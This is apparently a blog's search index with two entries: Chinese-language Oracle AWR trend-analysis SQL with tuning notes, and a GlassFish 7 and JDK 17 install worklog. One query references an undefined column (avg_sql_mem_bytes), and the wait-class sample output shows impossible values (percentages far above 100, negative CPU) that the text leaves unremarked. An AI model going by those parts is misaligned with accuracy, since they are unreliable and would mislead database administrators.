(Delta) SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, (rs.log_rd - LAG(rs.log_rd) OVER (ORDER BY s.snap_id)) as d_log_rd, (rs.phy_rd - LAG(rs.phy_rd) OVER (ORDER BY s.snap_id)) as d_phy_rd, (rs.phy_rd_dir - LAG(rs.phy_rd_dir) OVER (ORDER BY s.snap_id)) as d_phy_rd_dir, (rs.prs_tot - LAG(rs.prs_tot) OVER (ORDER BY s.snap_id)) as d_prs_tot, (rs.prs_hard - LAG(rs.prs_hard) OVER (ORDER BY s.snap_id)) as d_prs_hard, (rs.exec_cnt - LAG(rs.exec_cnt) OVER (ORDER BY s.snap_id)) as d_exec, (rs.sort_mem - LAG(rs.sort_mem) OVER (ORDER BY s.snap_id)) as d_sort_mem, (rs.sort_disk - LAG(rs.sort_disk) OVER (ORDER BY s.snap_id)) as d_sort_disk, (rt.db_cpu - LAG(rt.db_cpu) OVER (ORDER BY s.snap_id)) as d_db_cpu, (rt.prs_elap - LAG(rt.prs_elap) OVER (ORDER BY s.snap_id)) as d_prs_elap, (rt.prs_cpu - LAG(rt.prs_cpu) OVER (ORDER BY s.snap_id)) as d_prs_cpu FROM snap_range s JOIN DB on 1=1 JOIN raw_stats rs ON s.snap_id = rs.snap_id JOIN raw_time rt ON s.snap_id = rt.snap_id ) SELECT DBID,snap_id,instance_number,begin_interval_time,end_interval_time, -- 1. Buffer Hit %: 1 - (Physical Reads Cache / Session Logical Reads) ROUND(100 * (1 - ( (d_phy_rd - d_phy_rd_dir) / NULLIF(d_log_rd, 0) )), 2) as \u0026#34;Buffer Hit %\u0026#34;, -- 2. Soft Parse %: 1 - (Hard Parse / Total Parse) ROUND(100 * (1 - ( d_prs_hard / NULLIF(d_prs_tot, 0) )), 2) as \u0026#34;Soft Parse %\u0026#34;, -- 3. Execute to Parse %: 1 - (Total Parse / Execute Count) ROUND(100 * (1 - ( d_prs_tot / NULLIF(d_exec, 0) )), 2) as \u0026#34;Execute to Parse %\u0026#34;, -- 4. Parse CPU to Parse Elapsd %: (Parse CPU / Parse Elapsed) ROUND(100 * ( d_prs_cpu / NULLIF(d_prs_elap, 0) ), 2) as \u0026#34;Parse CPU to Elap %\u0026#34;, -- 5. In-memory Sort %: Memory Sorts / (Memory + Disk Sorts) ROUND(100 * ( d_sort_mem / NULLIF(d_sort_mem + d_sort_disk, 0) ), 2) as \u0026#34;In-memory Sort %\u0026#34;, -- 6. % Non-Parse CPU: (DB CPU - Parse CPU) / DB CPU ROUND(100 * ( (d_db_cpu - d_prs_cpu) / NULLIF(d_db_cpu, 0) ), 2) as \u0026#34;% Non-Parse CPU\u0026#34; FROM deltas WHERE d_log_rd \u0026gt; 0 ORDER BY snap_id 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |Buffer Hit %|Soft Parse %|Execute to Parse %|Parse CPU to Elap %|In-memory Sort %|% Non-Parse CPU| ----------+-------+---------------+-----------------------+-----------------------+------------+------------+------------------+-------------------+----------------+---------------+ 000000000| 1583| 1|2026-01-22 21:40:52.537|2026-01-22 21:50:52.851| 100| 99.65| 28.29| | 100| | 000000000| 1584| 1|2026-01-22 21:50:52.851|2026-01-22 22:00:53.187| 100| 99.67| 27.47| | 100| | 000000000| 1585| 1|2026-01-22 22:00:53.187|2026-01-22 22:10:53.517| 100| 99.59| 31.48| | 100| | 指標分析說明 # 不要只看數值高低，要看它們的穩定性\n| Buffer Hit % | 通常 \u0026gt; 95% | 若突然下降，檢查是否有新的大表全表掃描（Full Table Scan）。 | | Soft Parse % | 應接近 100% | 若下降，代表硬解析（Hard Parse）過多，請檢查 SQL 是否未使用 Bind Variables。 | | Execute to Parse % | 越高越好 | 數值低代表 SQL 被解析後只執行了幾次就關閉了，這會浪費大量的 CPU。這通常與應用程式的游標（Cursor）處理邏輯有關。 | | In-memory Sort % | 應接近 100% | 若下降，代表 PGA_AGGREGATE_TARGET 可能不足，導致排序溢出到磁碟（Temp Tablespace）。 | | % Non-Parse CPU | 應接近 100% | 若此值過低（例如 \u0026lt; 80%），說明資料庫花了太多 CPU 在「解析 SQL」而不是「執行 SQL」。 |\nMemory Statistics 趨勢分析 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_osstat AS ( -- 取得主機實體記憶體總量 (Host Mem) SELECT snap_id, MAX(DECODE(stat_name, \u0026#39;PHYSICAL_MEMORY_BYTES\u0026#39;, value)) / 1024 / 1024 as host_mem_mb FROM dba_hist_osstat WHERE stat_name = \u0026#39;PHYSICAL_MEMORY_BYTES\u0026#39; GROUP BY snap_id ), raw_sgastat AS ( -- 取得該快照點 SGA 的總和 (SGA Use) -- 注意：SGA 在 AWR 中是分組件記錄的，需要加總 SELECT snap_id, SUM(BYTES) / 1024 / 1024 as sga_use_mb FROM dba_hist_sgastat GROUP BY snap_id ), raw_pgastat AS ( -- 取得該快照點 PGA 的總分配量 (PGA Use) SELECT snap_id, MAX(DECODE(name, \u0026#39;total PGA allocated\u0026#39;, value)) / 1024 / 1024 as pga_use_mb FROM dba_hist_pgastat WHERE name = \u0026#39;total PGA allocated\u0026#39; GROUP BY snap_id ) SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, -- Memory Statistics 指標 ROUND(os.host_mem_mb, 2) as \u0026#34;Host Mem (MB)\u0026#34;, ROUND(sga.sga_use_mb, 2) as \u0026#34;SGA use (MB)\u0026#34;, ROUND(pga.pga_use_mb, 2) as \u0026#34;PGA use (MB)\u0026#34;, -- 衍生計算：總資料庫記憶體佔主機比例 ROUND((sga.sga_use_mb + pga.pga_use_mb) / NULLIF(os.host_mem_mb, 0) * 100, 2) as \u0026#34;DB Mem/Host %\u0026#34; FROM snap_range s JOIN DB on 1=1 LEFT JOIN raw_osstat os ON s.snap_id = os.snap_id LEFT JOIN raw_sgastat sga ON s.snap_id = sga.snap_id LEFT JOIN raw_pgastat pga ON s.snap_id = pga.snap_id ORDER BY s.snap_id 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |Host Mem (MB)|SGA use (MB)|PGA use (MB)|DB Mem/Host %| ----------+-------+---------------+-----------------------+-----------------------+-------------+------------+------------+-------------+ 000000000| 1582| 1|2026-01-22 21:30:52.250|2026-01-22 21:40:52.537| 7935.07| 2245.29| 382.34| 33.11| 000000000| 1583| 1|2026-01-22 21:40:52.537|2026-01-22 21:50:52.851| 7935.07| 2245.31| 377.9| 33.06| 000000000| 1584| 1|2026-01-22 21:50:52.851|2026-01-22 22:00:53.187| 7935.07| 2245.21| 382.81| 33.12| 指標分析說明 - 記憶體指標的觀察重點 # 這些數據在容量規劃與穩定性分析中至關重要：\nHost Mem (MB): 這是您作業系統偵測到的總實體記憶體。 觀察重點：此值通常是固定的。如果您的趨勢圖中這個值變小了，可能代表主機發生了硬體故障或是虛擬機動態調整了記憶體（Hot-unplug）。 SGA use (MB): 包含 Buffer Cache, Shared Pool, Large Pool 等。 觀察重點：如果您啟用了 AMM (Automatic Memory Management) 或 ASMM (Automatic Shared Memory Management)，您會看到 SGA 各組件之間的大小變動。若 SGA 總量持續接近 sga_max_size，代表資料庫已充分利用預配記憶體。 PGA use (MB): 這是資料庫分配給所有 Session 進行排序、Hash Join 等運算所需的記憶體總和。 觀察重點：這是最容易波動的指標。如果 PGA 趨勢出現「尖峰（Spike）」，通常代表該時段有大型的 Batch Job（如大量的 Parallel Query 或大型排序）在運行。如果 PGA 持續攀升而不下降，則要警惕是否存在 Memory Leak（雖然在 Oracle 中較少見，但某些 OCI 驅動或 Bug 可能導致此現象）。 Cache Sizes 趨勢分析 # 啟用了 ASMM (Automatic Shared Memory Management)，Buffer Cache 與 Shared Pool 的大小會隨負載動態調整，觀察這部分的趨勢能幫助判斷：「資料庫是否在特定的時段因為記憶體抖動（Memory Resizing）而導致效能波動？」\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_sga_cache AS ( -- 從 SGASTAT 彙總各關鍵組件的大小 SELECT snap_id, -- Buffer Cache 通常紀錄為 \u0026#39;buffer_cache\u0026#39; SUM(DECODE(name, \u0026#39;buffer_cache\u0026#39;, BYTES, 0)) / 1024 / 1024 as buffer_cache_mb, -- Shared Pool 需要加總 pool 欄位為 \u0026#39;shared pool\u0026#39; 的所有項目 SUM(CASE WHEN pool = \u0026#39;shared pool\u0026#39; THEN BYTES ELSE 0 END) / 1024 / 1024 as shared_pool_mb, -- In-Memory Area (若未啟用則為 0) SUM(CASE WHEN pool = \u0026#39;inmemory pool\u0026#39; THEN BYTES ELSE 0 END) / 1024 / 1024 as inmemory_mb, -- Log Buffer 是固定大小的項 MAX(DECODE(name, \u0026#39;log_buffer\u0026#39;, BYTES, 0)) / 1024 / 1024 as log_buffer_mb FROM dba_hist_sgastat GROUP BY snap_id ), raw_params AS ( -- 獲取標準塊大小 (db_block_size) SELECT snap_id, value as std_block_size FROM dba_hist_parameter WHERE parameter_name = \u0026#39;db_block_size\u0026#39; ) SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, -- Cache Sizes 指標 ROUND(c.buffer_cache_mb, 2) as \u0026#34;Buffer Cache (MB)\u0026#34;, ROUND(c.shared_pool_mb, 2) as \u0026#34;Shared Pool (MB)\u0026#34;, ROUND(c.inmemory_mb, 2) as \u0026#34;In-Memory Area (MB)\u0026#34;, ROUND(c.log_buffer_mb, 2) as \u0026#34;Log Buffer (MB)\u0026#34;, p.std_block_size as \u0026#34;Std Block Size\u0026#34; FROM snap_range s JOIN DB on 1=1 LEFT JOIN raw_sga_cache c ON s.snap_id = c.snap_id LEFT JOIN raw_params p ON s.snap_id = p.snap_id ORDER BY s.snap_id 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |Buffer Cache (MB)|Shared Pool (MB)|In-Memory Area (MB)|Log Buffer (MB)|Std Block Size| ----------+-------+---------------+-----------------------+-----------------------+-----------------+----------------+-------------------+---------------+--------------+ 000000000| 1582| 1|2026-01-22 21:30:52.250|2026-01-22 21:40:52.537| 1728| 357.29| 0| 7.51|8192 | 000000000| 1583| 1|2026-01-22 21:40:52.537|2026-01-22 21:50:52.851| 1728| 357.31| 0| 7.51|8192 | 000000000| 1584| 1|2026-01-22 21:50:52.851|2026-01-22 22:00:53.187| 1728| 357.21| 0| 7.51|8192 | 指標分析說明 - 快取大小背後的調校重點 # 當您觀察這些數據的趨勢時，應特別留意以下現象：\nBuffer Cache 與 Shared Pool 的「拉鋸戰」: 如果您發現一個增加時，另一個就減少，這代表 ASMM (Automatic Shared Memory Management) 正在運作。 診斷心法：如果這種切換頻率過高（例如每小時都在變動），可能會觸發 library cache load lock 等等待事件，甚至導致大量的 SQL Hard Parse（因為 Shared Pool 被縮小導致快取失效）。 Log Buffer (MB): Log Buffer 通常在啟動後就是固定的。 診斷心法：如果 log_buffer 在 AWR 顯示過小（通常現代系統建議在 32MB~128MB 以上），且您在負載期間看到大量的 log buffer space 等待，就需要考慮手動加大。 In-Memory Area: 如果您的資料庫使用了 In-Memory Column Store，此處會顯示分配的大小。 觀察重點：確保此數值維持穩定。若發現 IM 列存空間不足，Oracle 會自動將資料回退到 Buffer Cache 讀取，這會讓查詢速度大幅下降。 Std Block Size: 這是一個參考值（通常是 8192）。雖然它在單一實例中不會變動，但在計算 Load Profile（如 Physical Reads 的 Blocks 轉成 Bytes）時，它是不可或缺的基數。 Shared Pool Statistics 趨勢分析 # 在 AWR 報告中，Shared Pool Statistics 區塊是診斷 「硬解析 (Hard Parse) 壓力」 與 「SQL 重用率」 的關鍵。\n這些指標能幫助識别系統是否存在「過多的一次性 SQL (One-time SQL)」，這類 SQL 會迅速消耗 Shared Pool 空間，導致正常的 SQL 被擠出 (Age out)，進而引發 Library Cache 競爭。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_shared_pool AS ( -- 1. 計算 Shared Pool 使用率 (總量 vs 空閒) SELECT snap_id, SUM(bytes) as total_sp_bytes, SUM(CASE WHEN name = \u0026#39;free memory\u0026#39; THEN bytes ELSE 0 END) as free_sp_bytes FROM dba_hist_sgastat WHERE pool = \u0026#39;shared pool\u0026#39; GROUP BY snap_id ), raw_sql_reuse AS ( -- 2. 計算 SQL 重用性 (基於 AWR 捕獲到的 SQL) -- 注意：AWR 僅記錄 Top SQL，但其比例趨勢仍具備高度參考價值 SELECT snap_id, COUNT(sql_id) as total_sql_count, COUNT(CASE WHEN executions_total \u0026gt; 1 THEN sql_id END) as reused_sql_count, SUM(sharable_mem) as total_sql_mem_bytes, SUM(CASE WHEN executions_total \u0026gt; 1 THEN sharable_mem ELSE 0 END) as reused_sql_mem_bytes FROM dba_hist_sqlstat GROUP BY snap_id ) SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, -- Shared Pool Statistics 指標 -- Memory Usage %: (Total - Free) / Total ROUND(100 * (sp.total_sp_bytes - sp.free_sp_bytes) / NULLIF(sp.total_sp_bytes, 0), 2) as \u0026#34;SP Memory Usage %\u0026#34;, -- % SQL with executions \u0026gt; 1: (重用 SQL 數 / 總 SQL 數) ROUND(100 * sr.reused_sql_count / NULLIF(sr.total_sql_count, 0), 2) as \u0026#34;% SQL w/exec\u0026gt;1\u0026#34;, -- % Memory for SQL w/exec \u0026gt; 1: (重用 SQL 佔用的記憶體 / 總 SQL 記憶體) ROUND(100 * sr.reused_sql_mem_bytes / NULLIF(sr.total_sql_mem_bytes, 0), 2) as \u0026#34;% Mem for SQL w/exec\u0026gt;1\u0026#34;, ROUND(sr.total_sql_mem_bytes / 1024 / 1024, 2) as \u0026#34;Total_SQL_Mem_MB\u0026#34;, ROUND(sr.avg_sql_mem_bytes / 1024 / 1024, 2) as \u0026#34;avg_SQL_Mem_MB\u0026#34; FROM snap_range s JOIN DB on 1=1 LEFT JOIN raw_shared_pool sp ON s.snap_id = sp.snap_id LEFT JOIN raw_sql_reuse sr ON s.snap_id = sr.snap_id ORDER BY s.snap_id 執行結果範例\n1 2 3 4 5 6 7 8 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |SP Memory Usage %|% SQL w/exec\u0026gt;1|% Mem for SQL w/exec\u0026gt;1|Total_SQL_Mem_MB|avg_SQL_Mem_MB| ----------+-------+---------------+-----------------------+-----------------------+-----------------+--------------+----------------------+----------------+--------------+ 1979277899| 1590| 1|2026-01-22 22:50:54.714|2026-01-22 23:00:55.037| 63.48| 100| 100| 3.18| 0.05| 1979277899| 1591| 1|2026-01-22 23:00:55.037|2026-01-22 23:10:55.378| 63.45| 100| 100| 3.75| 0.06| 1979277899| 1592| 1|2026-01-22 23:10:55.378|2026-01-22 23:20:55.697| 63.47| 98.41| 99.21| 3.33| 0.05| 1979277899| 1593| 1|2026-01-22 23:20:55.697|2026-01-22 23:30:55.994| 63.48| 98.44| 99.27| 3.59| 0.06| 1979277899| 1594| 1|2026-01-22 23:30:55.994|2026-01-22 23:40:56.287| 63.46| 100| 100| 3.03| 0.05| 1979277899| 1595| 1|2026-01-22 23:40:56.287|2026-01-22 23:50:56.589| 63.48| 100| 100| 3.24| 0.05| 指標分析說明 - 如何根據這些數據進行調優？ # 當這三個指標出現異常時，通常代表著不同的效能危機：\n1. % SQL with executions \u0026gt; 1 (SQL 重用率) # 理想狀態：應保持在 80% - 95% 以上。 警訊：如果這個值很低（例如 \u0026lt; 50%），代表系統中充斥著大量未綁定變數 (Literal SQL)。 影響：這會導致極高的 CPU 消耗在硬解析上，並可能引發 latch: shared pool 或 library cache pin 等待。 2. % Memory for SQL w/exec \u0026gt; 1 (重用 SQL 的記憶體佔比) # 理想狀態：此值應盡可能接近 100%。 診斷心法：如果此值顯著低於 90%，代表 Shared Pool 的大部分記憶體都被那些「只執行一次就再也不用」的 SQL 給佔據了。這就是所謂的 Shared Pool 碎片化。 對策：考慮將初始化參數 CURSOR_SHARING 暫時改為 FORCE (需謹慎評估執行計畫風險)，或者推動開發團隊修改程式碼使用綁定變數。 3. Memory Usage % (Shared Pool 使用率) # 觀察重點：在生產環境中，這個值通常會穩定在 90% - 95%。 關鍵細節：如果使用率一直維持在 99% 以上且 Free Memory 極低，加上重用率低，這就是觸發 ORA-04031 錯誤的前兆。 Total_SQL_Mem_MB, avg_SQL_Mem_MB # 階梯式上升 (The Staircase): 現象：記憶體佔用在某個時間點上升後就不再下降，呈現階梯狀。 含義：這代表有新的 SQL 進入了 Shared Pool 但沒有被釋放（可能是因為 Version Count 攀升或是不斷有新的 Literal SQL 產生）。 與「SQL 重用率」的反向關聯: 聯動分析：請將這條線與你之前的 % SQL with executions \u0026gt; 1 趨勢圖放在一起看。 大師心法：如果「總記憶體消耗」上升，而「重用率」下降，這 100% 是因為應用程式正在大量使用未綁定變數的 SQL，正在污染 Shared Pool。 峰值 (Max) 與平均值 (Avg) 的間距: 含義：如果 Max 遠大於 Avg，說明該小時內有「瞬時巨獸」出現（例如一次性的大型 IN 清單查詢），這會導致 Shared Pool 瞬間碎片化。 % DB Time by Wait Class 趨勢分析 # 將 DB Time 拆解為各個 Wait Class (等待類別) 的佔比，是判斷資料庫「瓶頸性質」的最快路徑。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_db_time AS ( -- 取得總 DB Time 的累計值 SELECT snap_id, MAX(value) as db_time_val FROM dba_hist_sys_time_model WHERE stat_name = \u0026#39;DB time\u0026#39; GROUP BY snap_id ), raw_wait_class AS ( -- 取得各 Wait Class 的總等待時間累計值 (單位：微秒) -- 過濾掉 Idle 等待，因為它不計入 DB Time SELECT snap_id, SUM(DECODE(wait_class, \u0026#39;User I/O\u0026#39;, time_waited_micro, 0)) as user_io_time, SUM(DECODE(wait_class, \u0026#39;System I/O\u0026#39;, time_waited_micro, 0)) as system_io_time, SUM(DECODE(wait_class, \u0026#39;Network\u0026#39;, time_waited_micro, 0)) as network_time, SUM(DECODE(wait_class, \u0026#39;Commit\u0026#39;, time_waited_micro, 0)) as commit_time, SUM(DECODE(wait_class, \u0026#39;Concurrency\u0026#39;, time_waited_micro, 0)) as concurrency_time, SUM(DECODE(wait_class, \u0026#39;Other\u0026#39;, time_waited_micro, 0)) as other_time FROM dba_hist_system_event WHERE wait_class \u0026lt;\u0026gt; \u0026#39;Idle\u0026#39; GROUP BY snap_id ), deltas AS ( -- 計算增量 (Delta) SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, (t.db_time_val - LAG(t.db_time_val) OVER (ORDER BY s.snap_id)) as d_db_time, (wc.user_io_time - LAG(wc.user_io_time) OVER (ORDER BY s.snap_id)) as d_user_io, (wc.system_io_time - LAG(wc.system_io_time) OVER (ORDER BY s.snap_id)) as d_sys_io, (wc.network_time - LAG(wc.network_time) OVER (ORDER BY s.snap_id)) as d_net, (wc.commit_time - LAG(wc.commit_time) OVER (ORDER BY s.snap_id)) as d_cmt, (wc.concurrency_time - LAG(wc.concurrency_time) OVER (ORDER BY s.snap_id)) as d_concur, (wc.other_time - LAG(wc.other_time) OVER (ORDER BY s.snap_id)) as d_other FROM snap_range s JOIN DB on 1=1 JOIN raw_db_time t ON s.snap_id = t.snap_id JOIN raw_wait_class wc ON s.snap_id = wc.snap_id ) SELECT DBID,snap_id,instance_number,begin_interval_time,end_interval_time, -- 計算百分比 ROUND(100 * d_user_io / NULLIF(d_db_time, 0), 2) as \u0026#34;% User I/O\u0026#34;, ROUND(100 * d_sys_io / NULLIF(d_db_time, 0), 2) as \u0026#34;% System I/O\u0026#34;, ROUND(100 * d_net / NULLIF(d_db_time, 0), 2) as \u0026#34;% Network\u0026#34;, ROUND(100 * d_cmt / NULLIF(d_db_time, 0), 2) as \u0026#34;% Commit\u0026#34;, ROUND(100 * d_concur / NULLIF(d_db_time, 0), 2) as \u0026#34;% Concurrency\u0026#34;, ROUND(100 * d_other / NULLIF(d_db_time, 0), 2) as \u0026#34;% Other\u0026#34;, -- 補充：DB CPU 佔比 (DB Time = CPU + Wait Time) ROUND(100 * (d_db_time - (d_user_io + d_sys_io + d_net + d_cmt + d_concur + d_other)) / NULLIF(d_db_time, 0), 2) as \u0026#34;% DB CPU (Est.)\u0026#34; FROM deltas WHERE d_db_time \u0026gt; 0 ORDER BY snap_id 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |% User I/O|% System I/O|% Network|% Commit|% Concurrency|% Other|% DB CPU (Est.)| ----------+-------+---------------+-----------------------+-----------------------+----------+------------+---------+--------+-------------+-------+---------------+ 000000000| 1611| 1|2026-01-23 02:20:01.195|2026-01-23 02:30:01.515| 8.92| 162661.1| 0.2| 150.37| 3439.44|8234.61| -174394.63| 000000000| 1651| 1|2026-01-23 09:00:13.253|2026-01-23 09:10:13.591| 2.3| 386.14| 0.01| 1.28| 0.01| 20.49| -310.23| 000000000| 1653| 1|2026-01-23 09:20:13.886|2026-01-23 09:30:14.200| 24.4| 126.35| 0| 0.11| 0.01| 6.55| -57.42| 指標分析說明 # % User I/O 高 (例如 \u0026gt; 40%): 現象：資料庫花大量時間在等待從磁碟讀取資料。 原因：通常是 SQL 缺少索引導致全表掃描（Full Table Scan），或是 Buffer Cache 太小。 % Commit 高 (通常是 log file sync): 現象：每個事務（Transaction）提交時太慢。 原因：磁碟寫入 Redo Log 的速度跟不上，或者是應用程式採取了過於頻繁的提交（例如在迴圈內 Commit）。 % Concurrency 高: 現象：Session 之間在互相排隊。 原因：常見於鎖競爭（TX - row lock contention）或熱點塊（Latch / Buffer Busy Waits）。這通常需要優化應用程式邏輯。 % System I/O 高: 原因：通常與後端進程（如 DBWR 或 LGWR）的寫入壓力有關，或是正在執行備份、資料庫檢查點（Checkpoint）。 % DB CPU 高 (補充指標): 現象：這是好事，說明資料庫主要在「做事」而非「等待」。 例外：如果 CPU 100% 且系統很慢，則代表有 SQL 正在進行大量的邏輯讀（Logical Reads）或運算複雜度過高。 ","date":"January 15, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-awr-perf-trend-history/","section":"Oracle-Databases","summary":"最近常常接觸 AWR 報表分析，想說AWR已經有儲存資料庫運作歷史資訊，為何不依據裡頭的紀錄資訊進行效能分析呢？因此開始著手研究如何將AWR的資料呈現出趨勢資料～\n","title":"oracle AWR PERF TREND HISTORY","type":"oracle-database"},{"content":" 1 mkdir -p /usr/local/lib/jvm 1 2 wget https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.17%2B10/OpenJDK17U-jdk_x64_linux_hotspot_17.0.17_10.tar.gz wget https://ftp.jaist.ac.jp/pub/eclipse/ee4j/glassfish/glassfish-7.1.0.zip 1 2 tar -zxf OpenJDK17U-jdk_x64_linux_hotspot_17.0.17_10.tar.gz -C /usr/local/lib/jvm ln -s /usr/local/lib/jvm/jdk-17.0.17+10 /usr/local/lib/jvm/jdk-17-lasted 1 2 3 4 5 unzip -q glassfish-7.1.0.zip -d /opt/ sudo useradd -s /bin/bash -d /opt/glassfish7 --system glassfish chown -R glassfish: /opt/glassfish7 1 2 export JAVA_HOME=\u0026#34;/usr/local/lib/jvm/jdk-17-lasted\u0026#34; export PATH=${PATH}:${JAVA_HOME}/bin 1 2 3 4 5 6 7 # 啟動網域 /opt/glassfish7/bin/asadmin start-domain # 設定管理員密碼 /opt/glassfish7/bin/asadmin change-admin-password # 啟用遠端管理介面 (GUI) /opt/glassfish7/bin/asadmin enable-secure-admin /opt/glassfish7/bin/asadmin restart-domain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [glassfish@test-ap-150 ~]$ export JAVA_HOME=\u0026#34;/usr/local/lib/jvm/jdk-17-lasted\u0026#34; [glassfish@test-ap-150 ~]$ java -version -bash: java: command not found [glassfish@test-ap-150 ~]$ export PATH=${PATH}:${JAVA_HOME}/bin [glassfish@test-ap-150 ~]$ java -version openjdk version \u0026#34;17.0.17\u0026#34; 2025-10-21 OpenJDK Runtime Environment Temurin-17.0.17+10 (build 17.0.17+10) OpenJDK 64-Bit Server VM Temurin-17.0.17+10 (build 17.0.17+10, mixed mode, sharing) [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin start-domain Waiting until start of domain domain1 completes................ ... finished after 15399 ms. Successfully started the domain domain1. Location: /opt/glassfish7/glassfish/domains/domain1 Log File: /opt/glassfish7/glassfish/domains/domain1/logs/server.log The pid file /opt/glassfish7/glassfish/domains/domain1/config/pid contains pid 1860. Process with pid 1860 is alive Admin Endpoints: http://localhost:4848 is reachable. Command start-domain executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin change-admin-password Enter admin user name [default: admin]\u0026gt; Enter the admin password\u0026gt; Enter the new admin password\u0026gt; Enter the new admin password again\u0026gt; Command change-admin-password executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin change-admin-password Enter admin user name [default: admin]\u0026gt; Enter the admin password\u0026gt; Enter the new admin password\u0026gt; Enter the new admin password again\u0026gt; Command change-admin-password executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin enable-secure-admin Enter admin user name\u0026gt; admin Enter admin password for user \u0026#34;admin\u0026#34;\u0026gt; You must restart all running servers for the change in secure admin to take effect. Command enable-secure-admin executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin restart-domain Stopping local domain on admin endpoint localhost:4848 Waiting for process with pid 1860 to stop. ... finished after 868 ms. Waiting for the new PID................... ... finished after 18980 ms. Waiting until start of domain domain1 completes. ... finished after 19 ms. Successfully started the domain domain1. Location: /opt/glassfish7/glassfish/domains/domain1 The pid file /opt/glassfish7/glassfish/domains/domain1/config/pid contains pid 2255. Process with pid 2255 is alive Admin Endpoints: http://localhost:4848 is reachable. Command restart-domain executed successfully. [glassfish@test-ap-150 ~]$ /etc/systemd/system/glassfish.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [Unit] Description=GlassFish Server v7 After=syslog.target network.target [Service] User=glassfish Group=glassfish Type=forking Environment=JAVA_HOME=/usr/local/lib/jvm/jdk-17-lasted ExecStart=/opt/glassfish7/bin/asadmin start-domain ExecStop=/opt/glassfish7/bin/asadmin stop-domain ExecReload=/opt/glassfish7/bin/asadmin restart-domain Restart=on-failure [Install] WantedBy=multi-user.target ","date":"January 14, 2026","externalUrl":null,"permalink":"/worknot/deploy-glassfish-on-oracle-linux/","section":"Worknots","summary":" 1 mkdir -p /usr/local/lib/jvm 1 2 wget https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.17%2B10/OpenJDK17U-jdk_x64_linux_hotspot_17.0.17_10.tar.gz wget https://ftp.jaist.ac.jp/pub/eclipse/ee4j/glassfish/glassfish-7.1.0.zip 1 2 tar -zxf OpenJDK17U-jdk_x64_linux_hotspot_17.0.17_10.tar.gz -C /usr/local/lib/jvm ln -s /usr/local/lib/jvm/jdk-17.0.17+10 /usr/local/lib/jvm/jdk-17-lasted 1 2 3 4 5 unzip -q glassfish-7.1.0.zip -d /opt/ sudo useradd -s /bin/bash -d /opt/glassfish7 --system glassfish chown -R glassfish: /opt/glassfish7 1 2 export JAVA_HOME=\"/usr/local/lib/jvm/jdk-17-lasted\" export PATH=${PATH}:${JAVA_HOME}/bin 1 2 3 4 5 6 7 # 啟動網域 /opt/glassfish7/bin/asadmin start-domain # 設定管理員密碼 /opt/glassfish7/bin/asadmin change-admin-password # 啟用遠端管理介面 (GUI) /opt/glassfish7/bin/asadmin enable-secure-admin /opt/glassfish7/bin/asadmin restart-domain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 